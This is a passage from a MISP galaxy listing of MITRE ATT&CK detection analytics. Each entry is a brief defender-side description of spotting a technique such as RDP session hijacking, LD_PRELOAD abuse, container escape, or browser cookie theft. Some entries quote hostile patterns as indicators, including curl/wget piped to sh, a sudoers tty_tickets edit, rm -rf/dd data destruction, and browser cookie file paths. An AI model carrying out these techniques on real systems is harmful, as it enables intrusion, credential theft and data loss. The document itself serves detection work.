The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1250 - AN1250"*

Table 6282. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0454#AN1250

Analytic 1205 - AN1205

Correlates Office 365 or Google Workspace audit logs for spoofed sender addresses, failed email authentication, and anomalies in message delivery metadata. Defender observes failed SPF/DKIM checks and domain mismatches tied to suspicious campaigns.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1205 - AN1205"*

Table 6283. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0431#AN1205

Analytic 0215 - AN0215

Detects adversarial use of cloud APIs for command execution, resource control, or reconnaissance. Focuses on CLI/SDK/scripting language abuse via stolen credentials or in-browser Cloud Shells. Monitors for anomalous API calls chained with authentication context shifts (e.g., stolen token →

privileged action) and cross-service impacts.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0215 - AN0215"*

Table 6284. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0078#AN0215

Analytic 1026 - AN1026

Behavioral detection of domain group enumeration via ldapsearch or custom scripts leveraging LDAP over the network.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1026 - AN1026"*

Table 6285. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0360#AN1026

Analytic 0216 - AN0216

Detection of anomalous RDP or remote service session activity where a logon session is hijacked rather than newly created. Indicators include mismatched user credentials vs. active session tokens, service session takeovers without corresponding successful logon events, or RDP shadowing activity without user consent.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0216 - AN0216"*

Table 6286. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0079#AN0216

Analytic 1602 - AN1602

ESXi shell or scheduled tasks initiating outbound HTTPS to known public services without inbound return or loggable response, used to fetch instructions.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1602 - AN1602"*

Table 6287. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0581#AN1602

Analytic 1062 - AN1062

Abnormal loading of kernel modules, direct tampering with /dev, /proc, or LD_PRELOAD behaviors hiding processes or files.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1062 - AN1062"*

Table 6288. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0377#AN1062

Analytic 0162 - AN0162

Correlate unauthorized or anomalous file modifications, deletions, or metadata changes with suspicious process execution or API calls. Detect abnormal changes to structured data (e.g., database files, logs, financial records) outside expected business process activity.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0162 - AN0162"*

Table 6289. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0059#AN0162

Analytic 0126 - AN0126

Inconsistencies between process command-line arguments logged at creation time and subsequent process behavior. Defender perspective: monitoring for processes launched in a suspended state, followed by memory modifications (e.g., WriteProcessMemory targeting the PEB) that overwrite arguments before execution resumes. Detection also includes observing anomalous behaviors from processes whose logged arguments do not align with executed activity (e.g., network connections, file writes, or registry modifications).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0126 - AN0126"*

Table 6290. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0045#AN0126

Analytic 1260 - AN1260

Adversary adds federated identity provider (IdP) or modifies tenant domain authentication from Managed to Federated. Detected via API, PowerShell, or Admin Portal through federation events like `Set domain authentication`, `Add federated identity provider`, or `Update-MsolFederatedDomain`.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1260 - AN1260"*

Table 6291. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0458#AN1260

Analytic 2016 - AN2016

Much of this takes place outside the visibility of the target organization, making detection difficult for defenders.

Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 2016 - AN2016"*

Table 6292. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0884#AN2016

Analytic 1620 - AN1620

Detection of suspicious use of `tscon.exe` or equivalent methods to hijack legitimate RDP sessions. Defenders can observe anomalies such as session reassignments without corresponding authentication, processes spawned in the context of hijacked sessions, or unusual RDP network traffic flows that deviate from expected baselines.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1620 - AN1620"*

Table 6293. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0588#AN1620

Analytic 0261 - AN0261

Detects unusual use of `cron` or `sleep` loops inside containers executing unfamiliar scripts or binaries repeatedly.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0261 - AN0261"*

Table 6294. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0094#AN0261

Analytic 1206 - AN1206

Suspicious use of NTFS file attributes such as Alternate Data Streams (ADS) or Extended Attributes (EA) to hide data. Defender perspective: anomalous file creations or modifications containing colon syntax (file.ext:ads), API calls like ZwSetEaFile/ZwQueryEaFile, or PowerShell/Windows utilities interacting with -stream parameters. Correlation across file metadata anomalies, process lineage, and command execution provides context.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1206 - AN1206"*

Table 6295. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0432#AN1206

Analytic 0621 - AN0621

Processes invoking AVFoundation or CoreAudio frameworks, accessing input devices via TCC logs or Unified Logs, followed by writing AIFF/WAV/MP3 files to disk.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0621 - AN0621"*

Table 6296. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0221#AN0621

Analytic 0612 - AN0612

Detection of container escape attempts via bind mounts, privileged containers, or abuse of docker.sock. Defenders may observe anomalous volume mount configurations (e.g., hostPath to / or /proc), unexpected privileged container launches, or use of container administration commands to access host resources. These events typically correlate with subsequent process execution on the host outside of normal container isolation.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0612 - AN0612"*

Table 6297. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0219#AN0612

Analytic 1207 - AN1207

Abuse of mavinject.exe to inject DLLs or import descriptors into another running process. Chain: (1) mavinject.exe starts with /INJECTRUNNING or /HMODULE → (2) mavinject obtains high-access handles to a target process (VM_WRITE/CREATE_THREAD) → (3) target process loads attacker DLL (module load) → (4) optional follow-on child activity or network egress from the target process.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1207 - AN1207"*

Table 6298. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0433#AN1207

Analytic 1027 - AN1027

Enumeration of domain groups using dscacheutil or dscl commands, often following initial login or domain trust queries.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1027 - AN1027"*

Table 6299. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0360#AN1027

Analytic 0127 - AN0127

Execution of discovery commands or API calls for virtualization artifacts (e.g., registry keys, device drivers, services), sleep/skipped execution behavior, or sandbox evasion DLLs before payload deployment.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0127 - AN0127"*

Table 6300. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0046#AN0127

Analytic 2017 - AN2017

Once adversaries have provisioned compromised infrastructure (ex: a server for use in command and control), internet scans may help proactively discover compromised infrastructure. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021) Consider monitoring for anomalous changes to domain registrant information and/or domain resolution information that may indicate the compromise of a domain. Efforts may need to be tailored to specific domains of interest as benign registration and resolution changes are a common occurrence on the internet. Monitor for queried domain name system (DNS) registry data that may compromise third-party infrastructure that can be used during targeting. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. Monitor for logged domain name system (DNS) data that may compromise third-party infrastructure that can be used during targeting. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. Monitor for contextual data about

an Internet-facing resource gathered from a scan, such as running services or ports that may compromise third-party infrastructure that can be used during targeting. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 2017 - AN2017"*

Table 6301. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0885#AN2017
https://cloud.google.com/blog/topics/threat-intelligence/scandalous-external-detection-using-network-scan-data-and-automation/
https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2
https://threatconnect.com/blog/infrastructure-research-hunting/

Analytic 1072 - AN1072

Adversary use of bash/zsh or AppleScript to locate files and exfil targets like user keychains or documents.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1072 - AN1072"*

Table 6302. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0380#AN1072

Analytic 0721 - AN0721

Forged credentials on macOS may be visible through Unified Logs showing abnormal access to Keychain or browser session files. Correlated with anomalous web session usage from Safari or Chrome processes outside typical user context.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0721 - AN0721"*

Table 6303. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0260#AN0721

Analytic 0712 - AN0712

Detects extraction or mounting of container/archive files (e.g., .iso, .vhd, .zip) that originated from the Internet but whose contained files lack Zone.Identifier MOTW tagging. Correlates file creation metadata with subsequent execution of unsigned or untrusted binaries launched outside SmartScreen or Protected View.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0712 - AN0712"*

Table 6304. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0257#AN0712

Analytic 0271 - AN0271

Processes using Win32 API calls (e.g., EnumWindows, GetForegroundWindow) or scripting tools (e.g., PowerShell, VBScript) to enumerate open windows. These often appear with reconnaissance or data collection TTPs.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0271 - AN0271"*

Table 6305. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0097#AN0271

Analytic 1270 - AN1270

Burst of failed login attempts across VM instances using leaked credential pairs from single IP in public cloud environments

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1270 - AN1270"*

Table 6306. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0460#AN1270

Analytic 0172 - AN0172

Detects Python execution via python.exe or py.exe with anomalous parent lineage (e.g., Office macros, LOLBAS), execution from unusual directories, or chained network/PowerShell/system-level activity.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0172 - AN0172"*

Table 6307. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0063#AN0172

Analytic 0217 - AN0217

Detection of SSH/Telnet session hijacking via discrepancies between authentication logs and active

session tables. Adversary behavior includes reusing or stealing active PTY sessions, attaching to screen/tmux, or issuing commands without corresponding login events.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0217 - AN0217"*

Table 6308. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0079#AN0217

Analytic 1720 - AN1720

Application vetting services could detect usage of standard clipboard APIs.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1720 - AN1720"*

Table 6309. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0643#AN1720

Analytic 1702 - AN1702

Enterprises may be able to detect anomalous traffic originating from mobile devices, which could indicate compromise.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1702 - AN1702"*

Table 6310. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0631#AN1702

Analytic 0128 - AN0128

Execution of commands to enumerate virtualization-related files or processes (e.g., '/sys/class/dmi/id/product_name', dmesg, lscpu, lspci), or querying hypervisor interfaces prior to malware execution.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0128 - AN0128"*

Table 6311. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0046#AN0128

Analytic 1208 - AN1208

Detects creation or modification of user-level Launch Agents in monitored directories using `.plist` files with suspicious `ProgramArguments` or `RunAtLoad` keys. Correlates file write activity with execution of `launchctl` or unsigned binaries invoked at login.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1208 - AN1208"*

Table 6312. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0434#AN1208

Analytic 0281 - AN0281

Detects embedded Lua interpreter execution or script injection on devices supporting Lua scripting (e.g., routers, firewalls), often seen in modified firmware or abused APIs.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0281 - AN0281"*

Table 6313. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0101#AN0281

Analytic 0812 - AN0812

Detection of file execution where the file name contains a trailing space to masquerade as a known executable. Adversaries may exploit the way command line interpreters handle file names with trailing whitespace.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0812 - AN0812"*

Table 6314. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0292#AN0812

Analytic 2018 - AN2018

Monitor call logs from corporate devices to identify patterns of potential voice phishing, such as calls to/from known malicious phone numbers.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 2018 - AN2018"*

Table 6315. Table References

Links

https://attack.mitre.org/detectionstrategies/DET0886#AN2018

Analytic 0182 - AN0182

PowerShell or script execution with parameters that suppress errors or ignore user interrupts, such as `-ErrorAction SilentlyContinue`. Defender perspective: detecting discrepancies between suppressed error arguments and continued execution behavior.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0182 - AN0182"*

Table 6316. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0067#AN0182

Analytic 0218 - AN0218

Detection of hijacked VNC or SSH sessions on macOS where adversaries take over an existing session rather than authenticating directly. Indicators include process execution from active sessions without new logon events, manipulation of TTY sessions, or anomalous network activity tied to dormant sessions.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0218 - AN0218"*

Table 6317. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0079#AN0218

Analytic 1280 - AN1280

Enumeration of saved Wi-Fi profiles and cleartext password retrieval using `netsh wlan` or API-level access to `wlanAPI.dll`.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1280 - AN1280"*

Table 6318. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0464#AN1280

Analytic 1028 - AN1028

Abuse of Regsvcs.exe or Regasm.exe to execute arbitrary code embedded in .NET assemblies via [ComRegisterFunction]/[ComUnregisterFunction]. Behavioral chain: (1) Process creation of regsvcs/regasm with suspicious assembly paths/flags → (2) Assembly/DLL load inside regsvcs/regasm → (3) Registry writes to HKCR\CLSID/ProgID during COM registration → (4) Optional child process or network activity spawned by installer/registration code.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1028 - AN1028"*

Table 6319. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0361#AN1028

Analytic 0821 - AN0821

User or desktop application writes a new file to ~/Downloads, /tmp, or mounted removable media followed by execve of a risky interpreter/loader (bash, sh, python, perl, php, node, curl|wget piping to sh, ld.so, rdesktop, xdg-open - with unusual args). Uses auditd PATH+SYSCALL (open/creat/write/rename) with execve event linking.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0821 - AN0821"*

Table 6320. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0294#AN0821

Analytic 1082 - AN1082

Identifies use of sh/bash/zsh in suspicious context, such as user scripts launched from non-standard apps (e.g., Preview.app), embedded in LaunchDaemons, or executed outside Terminal.app. Looks for misuse in Automator, LaunchAgents, or NSAppleScript-executed shell.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1082 - AN1082"*

Table 6321. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0384#AN1082

Analytic 1820 - AN1820

Google sends a notification to the device when Android Device Manager is used to locate it. Additionally, Google provides the ability for users to view their general account activity and alerts users when their credentials have been used on a new device. Apple iCloud also provides notifications to users of account activity such as when credentials have been used.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1820 - AN1820"*

Table 6322. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0702#AN1820

Analytic 1802 - AN1802

Mobile security products can often alert the user if their device is vulnerable to known exploits.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1802 - AN1802"*

Table 6323. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0691#AN1802

Analytic 1209 - AN1209

Detection focuses on identifying abuse of LD_PRELOAD and related linker variables. Defender perspective: monitor unexpected setting or modification of LD_PRELOAD in shell initialization scripts or environment exports, file creation of suspicious shared libraries, and correlation of these modifications with anomalous process execution. Key signals include execve events with LD_PRELOAD defined, newly created .so files in user directories, and processes hooking libc functions exhibiting abnormal behavior.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1209 - AN1209"*

Table 6324. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0435#AN1209

Analytic 0192 - AN0192

Phishing attempts targeting IdPs often manifest as anomalous login attempts from suspicious email invitations or fake SSO prompts. Detection correlates login flows, MFA bypass attempts, and anomalous geographic patterns following phishing email delivery.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0192 - AN0192"*

Table 6325. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0070#AN0192

Analytic 0219 - AN0219

Adversary sends crafted HTTP/S (or other service) input to an Internet-facing app (IIS/ASP.NET, API, device portal). Chain: (1) abnormal request patterns to public endpoint → (2) elevated 4xx/5xx or unusual methods/paths → (3) server process (w3wp.exe/other service) spawns shell/LOLbins or loads non-standard modules → (4) optional outbound callback from the host/container.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0219 - AN0219"*

Table 6326. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0080#AN0219

Analytic 0291 - AN0291

Detects unauthorized changes to IAM authentication configurations such as disabling MFA, creating backdoor access keys, or altering trust policies. Correlates identity policy updates with unusual login behavior.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0291 - AN0291"*

Table 6327. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0104#AN0291

Analytic 1092 - AN1092

Detects suspicious gratuitous ARP responses or inconsistent IP-to-MAC mappings using auditd and packet capture. Behavioral focus is on unsolicited replies overriding legitimate ARP ownership.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1092 - AN1092"*

Table 6328. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0387#AN1092

Analytic 1290 - AN1290

Detects rogue DHCP server activity and anomalous DHCP OFFER/ACK messages assigning unexpected DNS or gateway values. Detection correlates DHCP server role changes, DHCP exhaustion warnings, and sudden network configuration changes across endpoints.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1290 - AN1290"*

Table 6329. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0468#AN1290

Analytic 0921 - AN0921

Tracks modification of executables or interpreter payloads (e.g., Mach-O, dylib) that mutate across runs—using scripting engines, JIT compilers, or side-loaded plugins.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0921 - AN0921"*

Table 6330. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0324#AN0921

Analytic 2019 - AN2019

Internet scanners may be used to look for patterns associated with malicious content designed to collect host hardware information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox) Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 2019 - AN2019"*

Table 6331. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0887#AN2019
https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks
https://threatconnect.com/blog/infrastructure-research-hunting/

Analytic 1029 - AN1029

Detection of AppCert DLL abuse involves correlating registry modifications to the AppCertDLLs key with subsequent unexpected DLL load behavior during process creation events. Specifically, defenders can observe abnormal DLLs being loaded into standard Windows processes after changes to the 'AppCertDLLs' registry value. Monitoring CreateProcess-family API executions with injected DLLs and linking those DLLs back to recent registry edits is key to identifying misuse. This is often accompanied by elevated privileges and potential lateral movement or discovery behavior.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1029 - AN1029"*

Table 6332. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0362#AN1029

Analytic 0129 - AN0129

Execution of scripts or binaries that check for virtualization indicators (e.g., system_profiler, ioreg -l, kextstat), combined with delay functions or anomalous launchd activity.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0129 - AN0129"*

Table 6333. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0046#AN0129

Analytic 0912 - AN0912

Direct execution of /bin/vmx or presence of rogue .vmx files not registered in vCenter inventory. Defender perspective: anomalous commands in shell history, edits to rc.local.d/local.sh for persistence.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0912 - AN0912"*

Table 6334. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0321#AN0912

Analytic 0313 - AN0313

Monitoring for modification and execution of login hook scripts or LaunchAgents/LaunchDaemons used for persistence.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0313 - AN0313"*

Table 6335. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0112#AN0313

Analytic 1330 - AN1330

Internal user account accesses shared links outside org followed by mass file download

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1330 - AN1330"*

Table 6336. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0484#AN1330

Analytic 1033 - AN1033

Detects adversary behavior where a file with a benign-looking first extension (e.g., .txt, .jpg) ends with a dangerous second extension (e.g., .exe, .scr), and is subsequently executed. The behavior chain includes file creation with misleading naming and user or system-initiated process execution

from the disguised file.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1033 - AN1033"*

Table 6337. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0366#AN1033

Analytic 1303 - AN1303

Detects suspicious registration of new password filter DLLs into the authentication process. Correlates registry modifications to LSASS Notification Packages with subsequent DLL creation and loading events. Observes anomalous file placement of DLLs in system directories followed by LSASS loading the new filter during logon/password change activity.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1303 - AN1303"*

Table 6338. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0472#AN1303

Analytic 0331 - AN0331

Detects execution of image viewers or PowerShell scripts accessing or decoding files with mismatched MIME headers or embedded script-like byte patterns; often correlated with suspicious parent-child process lineage and outbound connections.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0331 - AN0331"*

Table 6339. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0119#AN0331

Analytic 0133 - AN0133

Detects attempts to clear RDP/network history and modify network configuration artifacts through command execution, registry key deletion, firewall rule changes, and suspicious file deletions (e.g., Default.rdp, registry edits to Terminal Server Client keys).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0133 - AN0133"*

Table 6340. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0049#AN0133

Analytic 0134 - AN0134

Detects deletion or overwriting of logs/configs that store SSH or proxy activity, such as /var/log/auth.log or custom .bash_history clearing tied to SSH sessions or firewall rule changes.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0134 - AN0134"*

Table 6341. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0049#AN0134

Analytic 0314 - AN0314

Detection of modification to ESXi rc.local.d or rc scripts that are used to execute on boot.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0314 - AN0314"*

Table 6342. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0112#AN0314

Analytic 1430 - AN1430

Detects launch of command-line interpreters via Terminal, Automator, or hidden `osascript`, especially when parent process lineage deviates from user-initiated applications.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1430 - AN1430"*

Table 6343. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0516#AN1430

Analytic 1034 - AN1034

Correlates Group Policy updates that configure network logon scripts with subsequent remote file execution behaviors triggered by user logons to identify potential persistence or execution chains tied to adversarial manipulation of logon scripts.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1034 - AN1034"*

Table 6344. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0367#AN1034

Analytic 0413 - AN0413

Destruction via `rm -rf`, overwrite with `dd` or `srm`, often executed by script in /tmp or /private/tmp, may also involve file overwrite to political or decoy image data.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0413 - AN0413"*

Table 6345. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0146#AN0413

Analytic 0143 - AN0143

Detect sudo activity with NOPASSWD in /etc/sudoers or disabling tty_tickets, followed by immediate privileged commands (e.g., echo 'Defaults !tty_tickets' >> /etc/sudoers).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0143 - AN0143"*

Table 6346. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0052#AN0143

Analytic 1403 - AN1403

Detects access to known browser cookie files (e.g., `~/.mozilla/firefox/*.default/cookies.sqlite`, `~/.config/google-chrome/`) and suspicious reads of browser memory via `/proc/[pid]/mem` or ptrace.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1403 - AN1403"*

Table 6347. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0509#AN1403

Analytic 0431 - AN0431

A process (often spawned by a shell, interpreter, or malware implant) executes time discovery via commands (date, timedatectl, hwclock, cat /etc/timezone, /proc/uptime) or direct syscalls (time(), clock_gettime) and is (optionally) followed by scheduled task creation/modification (crontab, at) or conditional sleep logic.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0431 - AN0431"*

Table 6348. Table References

Links

https://attack.mitre.org/detectionstrategies/DET0151#AN0431

Analytic 1043 - AN1043

Execution of esxcli commands to enumerate datastore, configuration files, or directory structures by unauthorized or remote users.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1043 - AN1043"*

Table 6349. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0370#AN1043

Analytic 0341 - AN0341

Behavioral correlation of privileged registry key creation under the W32Time TimeProviders path combined with a new DLL written to disk and potential process activity by LocalService. Indicates abuse of Time Providers for persistence.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0341 - AN0341"*

Table 6350. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0122#AN0341

Analytic 1340 - AN1340

Authentication failure logs on routers/switches showing repeated use of default or common passwords across multiple accounts

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1340 - AN1340"*

Table 6351. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0487#AN1340

Analytic 1304 - AN1304

Correlate the creation or modification of containers using restart policies (e.g., 'always') or DaemonSets with elevated host access, service account misuse, or privileged container contexts. Watch for manipulation of systemd units involving containers or pod scheduling targeting specific nodes or namespaces.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1304 - AN1304"*

Table 6352. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0473#AN1304

Analytic 1503 - AN1503

Detects anomalous authentication activity such as sign-ins from impossible geolocations or legacy protocols from high-privileged accounts.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1503 - AN1503"*

Table 6353. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0546#AN1503

Analytic 1305 - AN1305

Windows-specific environmental keying behavioral chain: (1) Rapid system information discovery through multiple techniques (WMI queries, registry enumeration, network share discovery, hostname/domain checks), (2) Target validation through specific environmental artifact collection (AD domain membership, network topology, installed software versions), (3) Cryptographic operation correlation indicating payload decryption based on collected environmental values, (4) Subsequent malicious code execution following successful environmental validation, (5) Temporal clustering of discovery activities suggesting automated environmental assessment

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1305 - AN1305"*

Table 6354. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0474#AN1305

Analytic 0531 - AN0531

Automated execution of native utilities and scripts to discover, enumerate, and exfiltrate files and clipboard content. Focus is on detecting repeated file access, scripting engine use, and use of command-line utilities commonly leveraged by collection scripts.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0531 - AN0531"*

Table 6355. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0186#AN0531

Analytic 0351 - AN0351

Insertion of public keys into authorized_keys using bash/zsh or editor tools, correlated with suspicious process ancestry.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0351 - AN0351"*

Table 6356. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0126#AN0351

Analytic 0315 - AN0315

Detection of changes to device startup-config files that include boot scripts or scheduled execution routines.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0315 - AN0315"*

Table 6357. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0112#AN0315

Analytic 0513 - AN0513

Process or script enumerates network shares via CLI (net view/net share, PowerShell Get-SmbShare/WMI) or OS APIs (NetShareEnum/ srvsvc.NetShareEnumAll RPC) → bursts of outbound SMB/RPC connections (445/139, \\host\IPC$ / srvsvc) to many hosts inside a short window → optional follow-on file listing or copy operations.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0513 - AN0513"*

Table 6358. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0182#AN0513

Analytic 1035 - AN1035

Detects tampered hardware or firmware via anomalous host status telemetry. Behavioral chain: (1) Pre-OS or firmware components exhibit unexpected version changes, signature failures, or modified boot paths; (2) System management/firmware tools log hardware inventory drift; (3) Sensor health telemetry or boot attestation events fail baseline checks; (4) Follow-on process execution from altered firmware or unknown drivers after boot.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1035 - AN1035"*

Table 6359. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0368#AN1035

Analytic 0153 - AN0153

Detection of unauthorized modifications to Windows root certificate stores by monitoring registry keys, certificate installation processes, and creation of new certificate entries not in baseline trusted lists.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0153 - AN0153"*

Table 6360. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0056#AN0153

Analytic 1350 - AN1350

Behavioral chain: (1) delegated administration offers/relationships created or modified by partner tenants; (2) mailbox delegation/impersonation enabled; (3) follow-on access from partner IPs.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1350 - AN1350"*

Table 6361. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0488#AN1350

Analytic 0135 - AN0135

